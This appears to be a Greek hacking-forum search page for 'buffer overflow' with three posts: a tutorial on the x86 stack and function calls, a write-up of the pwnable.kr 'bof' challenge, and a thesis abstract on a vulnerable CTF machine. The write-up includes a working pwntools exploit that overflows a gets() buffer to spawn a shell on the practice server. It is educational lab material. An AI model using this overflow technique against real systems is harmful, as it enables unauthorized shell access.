Μετάβαση στο περιεχόμενο

Αναζήτηση στην κοινότητα

Εμφάνιση αποτελεσμάτων για τις ετικέτες 'buffer overflow'.

  • Αναζήτηση με βάση τις ετικέτες

    Πληκτρολογήστε τις ετικέτες και χωρίστε τες με κόμμα.
  • Αναζήτηση με βάση τον συγγραφέα

Τύπος περιεχομένου


Ενότητες

  • GreekHacking
    • Κανόνες & Ανακοινώσεις
    • Καλωσόρισμα νέων μελών
    • Προτάσεις / Βελτιώσεις
    • Νέα σχετικά με το Hacking/Security
    • Ασφάλεια & Προστασία Δεδομένων
    • Εκτός Θέματος
  • Leaks
    • Hacking Tutorials
    • Anonymity & Privacy / Ανωνυμία και Προστασία Προσωπικών Δεδομένων
    • Προγράμματα για Hacking / Hacking Programs
    • Cracking Οδηγοί & Πληροφορίες
    • Βιβλία σχετικά με το Hacking
    • Προγράμματα - High Quality downloads
    • E-Books
    • XXX Movies

Categories

  • Ορολογίες
  • Hacking για αρχάριους
  • Hacking για προχωρημένους
  • Mobile Hacking
  • Cracking Tutorials
  • Hacking Computers
  • Hacking Tutorials στα Αγγλικά
  • Tutorials for hacks
  • Διάφοροι Οδηγοί
    • Οδηγοί σχετικά με τα Linux
    • Οδηγοί για υπολογιστές
    • Οδηγοί σχετικά με τα Mac
    • Οδηγοί για κινητά
  • Hacking Tutorials στα Αγγλικά Copy

Categories

  • Hacking
  • Ιστοσελίδες/Server
  • Hardware
  • Windows

Βρείτε αποτελέσματα...

Βρείτε αποτελέσματα που...


Ημερομηνία δημιουργίας

  • Start

    End


Τελευταία ενημέρωση

  • Start

    End


Φιλτράρισμα με βάση τον αριθμό των...

  1. Πως λειτουργεί ένα πρόγραμμα ή τα πρώτα βήματα πριν την κατανόηση του Buffer Overflow. Το συγκεκριμένο post είναι αναδημοσίευση στα Ελληνικά ενός άρθρου που είχα γράψει παλιά στο Hellbound Hackers καθώς και σε άλλα forums (αλλά στα αγγλικά). Δεν πρόκειται για ένα buffer overflow exploit, αλλά για το απαιτούμενο υπόβαθρο που θα βοηθήσει κάποιον να καταλάβει κάποια σύνθετα ζητήματα, όπως το buffer overflow. Θα προυσιαστεί, με παραδείγματα, πως επικοινωνούν η CPU, η μνήμη κατά την εκτέλεση ενός προγράμματος. Έχω διαβάσει πολλά άρθρα για το περίφημο 'buffer overflow'. Τα περισσότερα ξεκινούν από ένα σημείο το οποίο απαιτεί γνώσεις που δεν τις έχουν όλοι. Αυτό το tutorial προσπαθεί να καλύψει το έλλειμα αυτό και να οδηγήσει κάποιον (ελπίζω) πιο εύκολα στην κατανόηση της βασικής αυτής αδυναμίας. Αν στο τέλος του άρθρου αυτού θα αισθάνεστε πιο... «άνετα» με μερικές έννοιες όπως CALL, RETN καθώς και πως καλείται μια function() στην μνήμη (buffer, stack, κλπ) θα αισθάνομαι οτι το αρθράκι πέτυχε το στόχο του. Πρώτα απ’ όλα θα ήθελα να σημειώσω πως οτιδήποτε θα πω θα αναφέρομαι για την οικογένεια επεξεργαστών xx86. Επίσης οι διευθύνεις μνήμεις θα αναφέρονται με το δεκαδικό σύστημα για λόγους ευκολίας αυτών που δεν έχουν συνηθίσει το δεκαεξαδικό σύστημα που συνήθως χρησιμοποιείται. Απαιτήσεις για να διαβάσει κάποιος το άρθρο: 1.Στοιχειώδεις γνώσεις assembly. 2.Στοιχειώδεις γνώσεις C. 3.Να ξέρει τι σημαίνει υπολογιστής. 4.Να γνωρίζει να διαβάζει Ελληνικά. 5.Μα τίποτα από τα παραπάνω!! Απλά ανοιχτό μυαλό, φαντασία και... όρεξη... και Google Translate! Πάμε λοιπόν: Για κάθε πρόγραμμα που καλείται στη μνήμη για να εκτελεστεί, το λειτουργικό σύστημα του δημιουργεί 3 βασικά μέρη (Segments): -Code Segment -Data Segment (το γνωστό BSS) -Stack Segment CODE SEGMENT Σ’ αυτό το κομμάτι μνήμης υπάρχουν όλες οι εντολές του προγράμματος. Κανένας (κανένας?... τεσπα σχεδόν κανένας) δεν μπορεί να γράψει σ’ αυτό το κομμάτι της μνήμης. Ονομάζεται μνήμη μόνο για διάβασμα (ReadOnlyΜνήμη Segment) – Μην την μπερδεύετε με τη ROM (ReadOnlyΜνήμη) του υπολογιστή που είναι τελείως διαφορετικό πράγμα. Για παράδειγμα Όλες οι εντολές assembly (εδω σε κώδικα C) θα τοποθετηθούν στο Code Segment. /* Ολες οι τιμές της 1ης διαγωνίου του πίνακα να γινουν 1, και οι υπόλοιπες άλλα 0 */ for (i = 0; i < 100; i++) for (j = 0; j < 100; j++) if (i<>j) a[i][j] = 0 else a[i][j] = 1; Τα σχόλια φυσικά δεν πρόκειται να μεταφερθουν στο Code Segment γιατί απλά κανένας compiler που γνωρίζω δεν μεταφράζει και τα... σχόλια. DATASEGMENT Εδώ τοποθετούνται όλες οι αρχικοποιημένενες γενικές μεταβλητές (globalvariables). Πρόκειται για ένα κομμάτι μνήμης που επιτρέπεται το γράψιμο πάνω σ’ αυτό. Για παράδειγμα ο παρακάτω C κώδικας θα τοποθετηθεί στο DataSegment: int i=1; char cp=65; int a[10]={1,2,3,4,5,6,7,8,9,10}; char p[10]={“Heloooo!”} STACK SEGMENT Όλες οι μεταβλητές των συναρτήσεων (functions), οι διευθύνεις των συναρτήσεων τοποθετούνται σε αυτό το κομμάτι μνήμης. Αυτό το κομμάτι είναι μια δομή στοίβας (Stack - γνωστή σ’ αυτούς που έχουν παρακολουθήσει κάποιο μάθημα βασικών αρχών δομών δεδομένων). Δηλαδή οι μεταβλητές τοποθετοτούνται στην μνήμη, η μία «επάνω» στην άλλη φτιάχνοντας μια στοίβα. Έτσι, η μεταβλητή που μπήκε τελευταία θα είναι και αυτή που θα βγεί πρώτη από τη στοίβα (περίπτωση LIFO – Last In First Out). Στον επεξεργαστή μας υπάρχουν μεταβλητές που χρησιμοποιούνται για να «φιλοξενούν» τιμές σχετικές με την τρέχουσα εργασία που κάνει ο επεξεργαστής. Οι μεταβλητές αυτές ονομάζονται καταχωρητές (registers). Υπάρχουν αρκετοί καταχωρητές που περιέχουν πληροφορίες για αρκετά πράγματα, δεν θα τα αναφέρω ένα προς ένα γιατί θα χάσουμε την.. μπάλ... εεε sorry, τονστόχο! Ένας καταχωρητής ονομάζεται ESP (Extended Stack Pointer – Δείκτης της Στοιβας) περιέχει κάθε φορά την διεύθυνση που βρίσκεται το τελευταίο στοιχείο που μπήκε στη Στοίβα. Δηλαδή, είναι αυτό που θα βγεί πρώτο από αυτή. Στη στοίβα, έχουμε την δυνατότητα να εισάγουμε τιμές (PUSH) ή να εξάγουμε (POP). Οι εντολές PUSH και POP είναι εντολές της γλώσσας assembly που κάνουν αυτή τη δουλειά. Εδώ πρέπει να αναφέρω 2 μικρά μυστικά: [1] Οι εντολές PUSH και POP πραγματοποιούν πράξεις στην μνήμη σε «κομμάτια» των τεσσάρων bytes, εξ’ αιτίας της συγκεκριμένης αρχιτεκτονικής των επεξεργαστών της οικογένειας xx86. [2] Η στοίβα μεγαλώνει «προς τα κάτω», δηλαδή αν SP=256, μετά από μιά εντολή “PUSH”, ο SP θα είναι 252. Παράδειγμα: STACK Διευ. Μνήμη ---- ------------------ 256 | xy | 252 | | 248 | | 244 | | ... ................. (ESP=256) Εντολή > PUSH EAX ; πχ. EAX = 34 STACK 256 | xy | 252 | 34 | 248 | | 244 | | ... ................. (ESP=252) Εντολή > POP EAX STACK 256 | xy | 252 | 34 | 248 | | 244 | | ... ................. (ESP=256) Εντολή > PUSH 15 ; remark: suppose EAX = 15 Εντολή > PUSH 16 ; remark: suppose EBX = 16 STACK 256 | xy | 252 | 15 | 248 | 16 | 244 | | ... ................. (ESP=248) Τι βρίσκεται πίσω από μια κλήση συνάρτησης Πριν εξηγήσουμε τι γίνεται πρέπει να πουμε μερικά πράγματα για άλλον ένα καταχωρητή του επεξεργαστή: Το Δείκτη Εντολής EIP (Extended Instruction Pointer ή 'Instruction pointer'). Αυτός ο καταχωργητής περιέχει την διεύθυνση της εντολής που θα εκτελεστή από το πρόγραμμα μας. Δηλαδή αναφέρεται στο κομμάτι μνήμης Code Segment. Κάθε φορά που ο επεξεργαστής εκτελεί μια εντολή καταχωρεί στον EIP την επόμενη προς εκτέλεση εντολή. Πώς όμως η επεξεργαστης μας βρίκει ποια θα είναι η επόμενη εντολή; Χμ... εδώ πρέπει να διακρίνουμε 2 περιπτώσεις: 1. Θα εκτελεστεί η επόμενη εντολή στη επόμενη θέση μνήμης στο code segment. 2. Θα εκτελεστεί μια απομακτυσμένη εντολή εξ’ αιτίας μια εντολής JUMP (πήδα... χε χε) σε μια άλλη διεύθυνση! Π.χ. αν ο επεξεργαστης συναντήσει την εντολή «JMP 345» θα βάλει στον EIP την τιμή 345. Άρα η επόμενη εντολή που θα εκτελεστεί θα είναι αυτή στην διεύθυνση 345. Στην περίπτωση 1 η διεύθυνση υπολογίζεται απλά προσθέτοντας το μήκος της τρέχουσας εντολής στη τρέχουσα τιμή του EIP. Παράδειγμα: Έστω οτι έχουμε τις ακόλουθες 2 εντολές στις διευθύνσεις 100 κι 101: 100 push EDX 101 mov ESP 0 Έστω οτι το παραπάνω μικρό μας πρόγραμμα ξεκινάει από την διεύθυνση 100. Δηλαδή EIP=100. 1.Ο επεξεργαστής εκτελεί την εντολή στην διεύθυνση 100. 2.Ο επεξεργαστής θέλει να [άει στην επόμενη εντολή στη σειρά, άρα ελέγχει: Η τρέχουσα εντολή (pushEDX) είναι εντολή JMP? Όχι, άρα υπολόγισε το μήκος της: Ο επεξεργστής «γνωρίζει» οτι η εντολή push έχει μήκος 1 byte. Οπότε: EIP = EIP + size(push EDX) => EIP = 100 + 1 => EIP = 101 Οπότε θα εκτελέσει την εντολή που βρισκεται στην διεύθυνση 101. Στην περίπτωση 2, έχουμε JMP... εδώ τα πράγματα είναι λίγο πιο σύνθετα. Για την ακρίβεια ακριβώς πριν το JMP σε μια άλλη διεύθυνση (δηλαδή μια κλήση συνάρτησης), ο επεξεργαστής πρέπει να κρατήσει την διεύθυνση της εντολής που θα εκτελεστεί όταν επιστρέψουμε από την συνάρτηση. Αυτή η διεύθυνση θα φυλαχθεί σε έναν προσωρινό καταχωρητή, ας πούμε τον EDX, οπότε μόλις εκτελεστούν όλες οι εντολές της συνάρτησης, θα θέσουμε EIP = EDX Στην γλώσσα assembly χρησιμοποιούνται οι εντολές CALL και RETN για τον υπολογισμό της παραπάνω διεύθυνσης. Η CALL κάνει 2 πραγματάκια: 1.Κρατάει την εντολή που θα εκτελεστεί όταν τελειώσουμε με τις εντολές της συνάρτησης (βάζοντας τη διεύθυνση της εντολής αυτής στη στοίβα – στο STACK). 2.Καταχωρεί στον EIP την διεύθυνση της συνάρτησης έτσι ώστε να εκτελεστεί. Η εντολή RETN θα κληθεί στο τέλος της συνάρτησης: Θα κάνει POP (θα ανακτήσει) την διεύθυνση εκείνη που καταχώρησς η CALLστο βήματος 1 (λίγο πριν): Είναι η διεύθυνση της εντολής που θα εκτελεστεί μετά το τέλος της συνάρτησης. Base pointer (EBP) (θα το δυσκολέψουμε λίγο τώρα....sorry) Κάθε συνάρτηση σε κάθε πρόγραμμα (ακόμα και η main() σε ένα πρόγραμμα C) έχει το δικό της χώρο μεταβλητών στο stack. Αυτός ο χώρος ονομάζεται Stack Frame (θεωρώ οτι είναι άσκοπο να προσπαθήσω να μεταφράσω τέτοιες λέξεις εφόσων θεωρούνται πια ορισμοί). Το stack frame είναι μια λογική ομάδα από θέσεις μνήμης στο stack που κρατούνται όλες οι διευθύνσεις των μεταβλητών που ανήκουν στη συνάρτηση που εκτελείται εκείνη τη στιγμή. Κάθε διεύθυση μέσα στο stack frame είναι σχετική διεύθυνση με βάση το τρέχων stack frame. Και που θα ξέρουμε πιο είναι το τρέχον stack frame? Αυτό καταχωρείται στον καταχωρητή EBP (στον base pointer). Όποτε καλείται μια συνάρτηση ο επεξεργαστής κάνει PUSH τον παλιό ESP στο stack και βάζει στον EBP την διεύθνση της συνάρτηση έτσι ώστε να αναφέρεται στις μεταβλητές της με βάση τον EBP. Θα προσπαθήσω να το ξεκαιαρίσω αυτό με ένα αληθινό παράδειγμα σε C. Ακολουθεί αληθινό Παράδειγμα σε C void function1(int , int , int ); void main() { function1 (1, 2, 3); } void function1 (int a, int b, int c) { char z[4]; } Έκανα compile/link το παραπάνω πρόγραμμα από command line και μπήκα με olly debugger να δω τι... γίνεται: Αδιαφορώντας για τις εντολές του λειτουργικού συστήματος (που καταλαμβάνουν το 90% του κώδικα!!) απομόνωσα το κομμάτι που αντιστοιχεί στο παραπάνω μικρό και βλαμμένο πρόγραμμα (χε χε χε,... το βρίζω γιατί δεν κάνει τίποτα σαν πρόγραμμα, απλά τρώει mμνήμη) : Έχουμε λοιπόν: 0040123C /. 55 PUSH EBP 0040123D |. 8BEC MOV EBP,ESP 0040123F |. 6A 03 PUSH 3 ; /Arg3 = 00000003 00401241 |. 6A 02 PUSH 2 ; |Arg2 = 00000002 00401243 |. 6A 01 PUSH 1 ; |Arg1 = 00000001 00401245 |. E8 05000000 CALL bo1.0040124F ; \bo1.0040124F 0040124A |. 83C4 0C ADD ESP,0C 0040124D |. 5D POP EBP 0040124E \. C3 RETN 0040124F /$ 55 PUSH EBP 00401250 |. 8BEC MOV EBP,ESP 00401252 |. 51 PUSH ECX 00401253 |. 59 POP ECX 00401254 |. 5D POP EBP 00401255 \. C3 RETN ΑΝΑΛΥΣΗ: Αναγκαστικά εδώ θα μιλάμε πια με 16δικές διευθύσεις μνήμης εφόσων μιλαμε για ένα αληθινό παράδειγμα! Στις διευνύσεις από 0040123Cέως 0040124Eείναι η συνάρτηση main(). Στις διευνύσεις από 0040124Fέως 00401255 είναι η συνάρτηση function1(). Η εντολή: 0040123C /. 55 PUSH EBP Φυλάει τον παλιό stack pointer στο STACK Η εντολή: 0040123D |. 8BEC MOV EBP,ESP Αντιγράφει τον παλιό stack pointer στον καταχωρητή EBP. Από εδώ και πέρα θα αναφερόμαστε στις μεταβλητές της συνάρτησης function1 με βάση τον EBP. Οι 2 παραπάνω εντολές ονομάζονται "Procedure Prologue". Τώρα το stack θα έχει: [ebp] STACK 256 | [ebp] | ... ................. (ESP=256) Η εντολές: 0040123F |. 6A 03 PUSH 3 ; /Arg3 = 00000003 00401241 |. 6A 02 PUSH 2 ; |Arg2 = 00000002 00401243 |. 6A 01 PUSH 1 ; |Arg1 = 00000001 Εδώ μπαίνουν στο stack οι παράμετροι της συνάρτησης function1. Μετά τις παραπάνω εντολές το stack θα είναι: STACK 256 | [ebp] | 252 | 3 | 248 | 2 | 244 | 1 | ... ................. (ESP=244) Η εντολή: 00401245 |. E8 05000000 CALL bo1.0040124F ; \bo1.0040124F Καλεί τη συνάρτηση στη διεύθυνση 0040124F. bo1 είναι το όνομα του προγράμματος μου. Τώρα το stack θα είναι: STACK 256 | [ebp] | 252 | 3 | 248 | 2 | 244 | 1 | 240 | 0040124A | <- the return address when the function1 ends. ... ................. (ESP=240) Ας ακολουθήσουμε την εκτέλεση του προγράμματος,... δηλαδή ας πάμε στη διεύθυνση 0040124F (της function1): 0040124F /$ 55 PUSH EBP 00401250 |. 8BEC MOV EBP,ESP Χμμ... εδώ έχουμε πάλι την "Procedure Prologue" της συνάρτησης (μην ξεχνάτε αυτή πρέπει να υπάρχει ηια κάθε function... ευτυχώς). Ο καταχωρητής EBP δείχνει στο stack frame της συνάρτησης main(). Αυτή η τιμή πρέπει να φυλαχθεί, οπότε ο EBP γίνεται PUSH στο stack. Μετά, το περιεσόμενα του του ESP μεταφέρετε στον EBP. Αυτό σημαίνει οτι οι παράμετροι της συνάρτησης θα καταχωρηθούν στο stack σαν offset (με σημείο αναφοράς) τον EBP. Επίσης «ελευθυερώνεται» και ο ESP να κάνει χρησιμοποιηθεί για τις επόμενες εντολές. Τώρα το stack θα έχει γίνει: STACK 256 | [ebp] | 252 | 3 | 248 | 2 | 244 | 1 | 240 | 0040124A | <- Η return address όταν η function τελειώνει. 236 | <main’s EBP> | <- Ο ESP=EBP έχει την return address. ... ................. (ESP=236) Η εντολές: 00401253 |. 59 POP ECX 00401254 |. 5D POP EBP Μετά τα 2 τελευταία POPs το STACK θα είναι: STACK 256 | [ebp] | 252 | 3 | 248 | 2 | 244 | 1 | ... ................. (ESP=244) Τελειώνοντας έχουμε την: 00401255 \. C3 RETN Η συνάρτηση τελειώνει και επιστρέφει στη 0040124A (θυμάστε τον ορισμό της εντολής RET?) 0040124A |. 83C4 0C ADD ESP,0C Αφού επιστρέψει η συνάρτηση, γίνεται μια πράξη: Πρόσθεση. Προσθέτουμε 12 (ή 0C δεκαεξαδικό) στο stack pointer (ESP). Εφόσων βάλαμε 3 παραμέτρους στο stack (4 bytes η καθέ μια). Αυξάνοντας τον ESP στην πραγματικότητα μειώνουμε το stack (αν θυμόσαστε από πριν γεμίζουμε το stack από τις υψηλές προς χαμηλές διευθύνσεις μνήμης) δηλαδή ESP = 244 + 12 = 256). STACK 256 | [ebp] | ... ................. (ESP=256) Έτσι ο ESP έχει πάλι την τιμή που είχε πριν την κλήση της συνάρτησης. Ελπίζω να πήρατε μια αρχική γεύση για την χρήση του stack, των καταχωρητών και της γλώσσας assembly. Αυτές οι γνώσεις μπορούν να χρησιμοποιηθούν (οπως είπαμε στην αρχή) και για την κατανόηση...πονηρών πραγμάτων όπως ενός buffer overflow. Για παράδειγμα, τι θα λέγατε εάν μπορούσαμε να γράψουμε επάνω στο stack (στη διεύθυνση 240 στο παράδειγμα μας) δηλαδή να γράφαμε επάνω στον EIP μια διεύθυνση... δική μας... και να ορίζαμε με αυτόν εμείς την διεύθυνση που θα εκτελούνταν η επόμενη εντολή του προγράμματος... Σας προτέινω να δοκιμάστε το ηλίθιο προγραμματάκι μου σε C και να κάνετε τα δικά σας tests. Test, Check, Review, Test, Check, Review!! Happy Programming Guys!! Αναφορές: [1] BUFFER OVERFLOWS DEMYSTIFIED by murat@enderunix.org [2] C Function Call Conventions and the Stack (UMBC CMSC 313, Computer Organization & Assembly Language, Spring 2002, Section 0101) [3] The Assembly Language Book for IBM PC by Peter Norton (ISBN 960-209-028-6) [4] Analysis of Buffer Overflow Attacks from http://www.windowsecurity.com/articles/Analysis_of_Buffer_Overflow_Attacks.html [5] 8088 8086 Programming and Applications for IBM PC/XT & Compatibles by Nikos Nasoufis
  2. Καλησπέρα, μπορεί αυτός ο οδηγός να είναι λίγο πιο "advanced", οπότε θα προσπαθήσω να το αναλύσω όσο πιο πολύ μπορώ. Βρήκα ένα πολύ ενδιαφέρον BOF task στο pwnable.kr το όπιο είναι λιγάκι πιο tricky. Δεν έχει να κάνει με shellcode execution κτλπ είναι ένα απλό buffer με ένα comparison. Επίσης θα κάνουμε μια μικρή εισαγωγή στα pwntools & θα δημιουργήσουμε το δικό μας PoC! Περιεχόμενα : 0x01 Binary Enumeration 0x02 Exploitation + PoC [hide] 0x01 Binary Enumeration Μας δίνει το vulnerable binary, το source code & τον server:port που τρέχει το vulnerable binary. Οπότε το payload μας θα πρέπει να το στείλουμε στο pwnable.kr:9000. Ας κατεβάσουμε τα αρχεία αρχικά. [root@pwn4magic]:~/Desktop/bof# wget -q http://pwnable.kr/bin/bof [root@pwn4magic]:~/Desktop/bof# wget -q http://pwnable.kr/bin/bof.c [root@pwn4magic]:~/Desktop/bof# ls -la total 20 drwxr-xr-x 2 root root 4096 Dec 26 13:15 . drwxr-xr-x 18 root root 4096 Dec 25 19:35 .. -rw-r--r-- 1 root root 7348 May 16 2019 bof -rw-r--r-- 1 root root 308 May 16 2019 bof.c [root@pwn4magic]:~/Desktop/bof# Ας δούμε τώρα τι τύπος αρχείου είναι. [root@pwn4magic]:~/Desktop/bof# file bof bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped x86 binary. Ας το τρέξουμε το αρχείο και ας δοκιμάσουμε να στείλουμε μεγάλο input. [root@pwn4magic]:~/Desktop/bof# chmod +x bof [root@pwn4magic]:~/Desktop/bof# ./bof overflow me : n4ckhcker Nah.. [root@pwn4magic]:~/Desktop/bof# python -c 'print "A" * 100' | ./bof overflow me : Nah.. *** stack smashing detected ***: <unknown> terminated Aborted Ωραία να δούμε το source code τώρα. #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } Έχουμε 2 functions την main() και την func(). Πρέπει να κάνουμε focus στην func(), αρχικά έχουμε ένα buffer 32bytes και μας λέει άμα το key == 0xcafebabe θα μας δώσει shell (/bin/sh). Η gets() είναι η vulnerable function γιατί δεν τσεκάρει το buffer length. Ας το κάνουμε load στο PEDA (Python Exploit Development Assistance - https://github.com/longld/peda). [root@pwn4magic]:~/Desktop/bof# gdb -q bof Reading symbols from bof... (No debugging symbols found in bof) gdb-peda$ info functions All defined functions: Non-debugging symbols: 0x00000474 _init 0x000004c0 gets@plt 0x000004d0 __stack_chk_fail@plt 0x000004e0 __cxa_finalize@plt 0x000004f0 puts@plt 0x00000500 system@plt 0x00000510 __gmon_start__@plt 0x00000520 __libc_start_main@plt 0x00000530 _start 0x00000570 __do_global_dtors_aux 0x000005f0 frame_dummy 0x00000627 __i686.get_pc_thunk.bx 0x0000062c func 0x0000068a main 0x000006b0 __libc_csu_init 0x00000720 __libc_csu_fini 0x00000730 __do_global_ctors_aux 0x00000768 _fini gdb-peda$ Μπορούμε να δούμε τα functions, func() & main(). Ας κάνουμε disassemble το func. gdb-peda$ set disassembly-flavor intel gdb-peda$ disassemble func Dump of assembler code for function func: 0x5655562c <+0>: push ebp 0x5655562d <+1>: mov ebp,esp 0x5655562f <+3>: sub esp,0x48 0x56555632 <+6>: mov eax,gs:0x14 0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax 0x5655563b <+15>: xor eax,eax 0x5655563d <+17>: mov DWORD PTR [esp],0x78c 0x56555644 <+24>: call 0x56555645 <func+25> 0x56555649 <+29>: lea eax,[ebp-0x2c] 0x5655564c <+32>: mov DWORD PTR [esp],eax 0x5655564f <+35>: call 0x56555650 <func+36> 0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe 0x5655565b <+47>: jne 0x5655566b <func+63> 0x5655565d <+49>: mov DWORD PTR [esp],0x79b 0x56555664 <+56>: call 0x56555665 <func+57> 0x56555669 <+61>: jmp 0x56555677 <func+75> 0x5655566b <+63>: mov DWORD PTR [esp],0x7a3 0x56555672 <+70>: call 0x56555673 <func+71> 0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc] 0x5655567a <+78>: xor eax,DWORD PTR gs:0x14 0x56555681 <+85>: je 0x56555688 <func+92> 0x56555683 <+87>: call 0x56555684 <func+88> 0x56555688 <+92>: leave 0x56555689 <+93>: ret End of assembler dump. gdb-peda$ Μπορούμε να δούμε το cmp instruction : 0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe Ας βάλουμε ένα breakpoint εδώ & ας δημιουργήσουμε ένα 100bytes pattern. gdb-peda$ break *0x56555654 Breakpoint 1 at 0x56555654 gdb-peda$ pattern create 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /root/Desktop/bof/bof overflow me : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL [----------------------------------registers-----------------------------------] EAX: 0xffffd1bc ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") EBX: 0x0 ECX: 0xf7fad5c0 --> 0xfbad2288 EDX: 0xf7faf01c --> 0x0 ESI: 0xf7fad000 --> 0x1d6d6c EDI: 0xf7fad000 --> 0x1d6d6c EBP: 0xffffd1e8 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") ESP: 0xffffd1a0 --> 0xffffd1bc ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") EIP: 0x56555654 (<func+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) Ας κάνουμε display τo memory content του ebp+0x8 στον EIP register. Ο ebp register κάνει track που είναι το stack. gdb-peda$ x/s $ebp+0x8 0xffffd1f0: "AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL" gdb-peda$ pattern offset AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 52 gdb-peda$ 0x02 Exploitation + PoC Έχουμε το offset μπορούμε να φτιάξουμε το PoC μας τώρα. Τα pwntools σου κάνουν την ζωή εύκολη με λίγα λόγια, είναι ένα exploit development library για περισσότερα : https://github.com/Gallopsled/pwntools PoC : #!/usr/bin/env python from pwn import * sock = remote('pwnable.kr', 9000) #kanoyme connection ston vulnerable server payload = "A" * 52 + p32(0xcafebabe) #to payload mas offset 52bytes + se little endian to address sock.sendline(payload) #stelnoyme to payload ston server sock.interactive() #mas dinei shell Ας το τρέξουμε. [root@pwn4magic]:~/Desktop/bof# chmod +x exploit.py [root@pwn4magic]:~/Desktop/bof# ./exploit.py [+] Opening connection to pwnable.kr on port 9000: Done [*] Switching to interactive mode $ whoami bof $ ls bof bof.c flag log log2 super.pl $ cat flag daddy, I just pwned a buFFer :) $ Για ότι απορίες στείλτε μου DM. [/hide]
  3. Η παρούσα διπλωματική εργασία επικεντρώνεται στην εξέταση του ελέγχου διείσδυσης για την αξιολόγηση της ασφάλειας ενός εξυπηρετητή παγκοσμίου ιστού σε επιθέσεις και συγκεκριμένα στην υλοποίηση ενός ρεαλιστικού περιβάλλοντος ελέγχου διείσδυσης για εκπαιδευτικούς λόγους. Η υλοποίηση γίνεται με τη δημιουργία μιας σκόπιμα ευάλωτης εικονικής μηχανής. Χρησιμοποιείται η γλώσσα Python και το Django Framework για τη δημιουργία ευάλωτων εφαρμογών ως σεναρίων προς επίλυση. Οι κίνδυνοι ασφαλείας που συμπεριλαμβάνονται στα σενάρια είναι οι Broken Authentication, XSS, SQL Injection, Buffer Overflow 32-bit και 64-bit. Η διεπαφή έχει τη μορφή ενός εκπαιδευτικού παιχνιδιού ανάκτησης σημαίας (CTF). Ασφάλεια σε επιθέσεις εξυπηρετητών παγκοσμίου ιστού - Νικόλαος Τζίρης Γεωργόπουλους.pdf Πηγή: Νημερτής

ChatBox

ChatBox

Chatroom Rules

  • Το GreekHacking.Gr είναι ένα ελληνικό forum και επιτρέπεται μόνο η χρήση της Ελληνική Γλώσσας (ούτε greeklish).
  • Δεν επιτρέπονται οι βρισιές και γενικά η χρήση χυδαίας γλώσσας.
  • Απαγορεύεται αυστηρά το πορνογραφικό, προσβλητικό και βίαιο περιεχόμενο.
  • Μην χρησιμοποιείτε κεφαλαία γράμματα η σύμβολα.
×
×
  • Create New...